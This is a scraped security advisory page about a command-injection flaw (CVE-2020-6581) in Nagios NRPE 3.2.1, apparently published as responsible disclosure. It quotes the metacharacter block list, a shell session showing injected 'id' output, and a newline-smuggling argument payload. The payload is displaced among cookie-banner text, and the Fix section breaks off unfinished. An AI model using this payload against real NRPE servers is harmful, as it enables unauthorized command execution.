



HeroLab



Technisch erforderlich



Analyse und Performance



Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzklärung](#) | [Impressum](#)



## Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technisch erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analysezwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.



**Advisory ID:** usd-2020-0002  
**CVE Number:** CVE-2020-6581  
**Affected Product:** Nagios NRPE  
**Affected Version:** v.3.2.1  
**Vulnerability Type:** Insufficient Filtering  
**Security Risk:** Medium  
**Vendor URL:** <https://www.nagios.org/>  
**Vendor Status:** Fixed in v.4.0.0 (not verified)

Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)

## Description

Insufficient Filtering and incorrect parsing of the configuration file may lead to command injection.

## Prerequisites

NRPE has to be compiled with command line parameter support. Additionally, dont\_blame\_nrpe option inside the NRPE configuration file has to be enabled.

## Proof of Concept (PoC)

If NRPE is compiled with command line parameter support and if the corresponding option is enabled inside of the NRPE configuration file, NRPE are allowed to contain additional parameters that are passed as command line parameters to the configured monitoring scripts. In order to prevent exploitation by shell meta characters like ;&\$\_, NRPE implements a default blacklist of nasty meta characters:

```
// file: src/nrpe.c line: 74
#define NASTY_METACHARS "|`&*><'\\"/>
```

The same definition of nasty meta characters can also be found in the default configuration file:

```
// file: /etc/nagios/nrpe.cfg line: 267 - 271
# NASTY METACHARACTERS
# This option allows you to override the list of characters that cannot
# be passed to the NRPE daemon.

# nasty_metachars="|`&*><'\\"/>
```

Unfortunately, while parsing the configuration file, special characters like ,\n' inside the **nasty\_metachars** variable are interpreted literally and loose their special meaning. E.g. ,\n' will disallow the two characters ,\' and ,n' instead of a newline.

Attack scenario: Imagine a server administrator wants also to add a wildcard (\*) to the blacklist of not allowed characters. Most likely, he will just uncomment the **nasty\_metachar** option from the configuration file and add his desired character like this:

```
// file: /etc/nagios/nrpe.cfg line: 267 - 271
# NASTY METACHARACTERS
# This option allows you to override the list of characters that cannot
# be passed to the NRPE daemon.

nasty_metachars="|`&*><'\\"/>
```

Despite looking reasonable, the NRPE service is now again vulnerable to command injections, as shown in the following example:

```
[pentester@kali ~]$ cat /etc/nagios/nrpe.cfg | grep -E 'nasty|POC'
nasty_metachars="|`&*><'\\"/>
command[check_POC]=/usr/lib/nagios/plugins/check_POC $ARG1$
[pentester@kali ~]$ cat /usr/lib/nagios/plugins/check_POC
#!/bin/bash
echo "[+] POC finished"

[pentester@kali ~]$
[pentester@kali ~]$ /usr/lib/nagios/plugins/check_POC
[+] POC finished

uid=998 (nagios) gid=997 (nagios) ssgid=997 (nagios) sshell=/bin/bash
```

## Fix

While parsing the **nasty\_metachars** option

## Timeline

- 2020-01-06 Tobias Neitzel found this



## Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technische erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analyse Zwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzerklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.

```
-a "$(echo -e "\nid")"
```



Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)

This security vulnerability was discovered

About usd Security Advisories



In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our **CST Academy** and our **usd HeroLab** are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the **usd HeroLab** publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security.“

to usd AG

In accordance with usd AG's **Responsible Disclosure Policy**, all vendors have been notified of the existence of these vulnerabilities.

## Disclaimer

The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.

[usd AG](#)

[Kontakt](#)

[Impressum](#)

[Datenschutz](#)

[AGB](#)

© 2022 usd AG

[Meldung einer Schwachstelle oder eines Bugs](#)

[Code of Ethics](#)



LabNews

Security Advisory zu GitLab

Dez 15, 2022

Security Advisory zu Acronis Cyber Protect

Nov 9, 2022

Security Advisories zu Apache Tomcat

Nov 24, 2022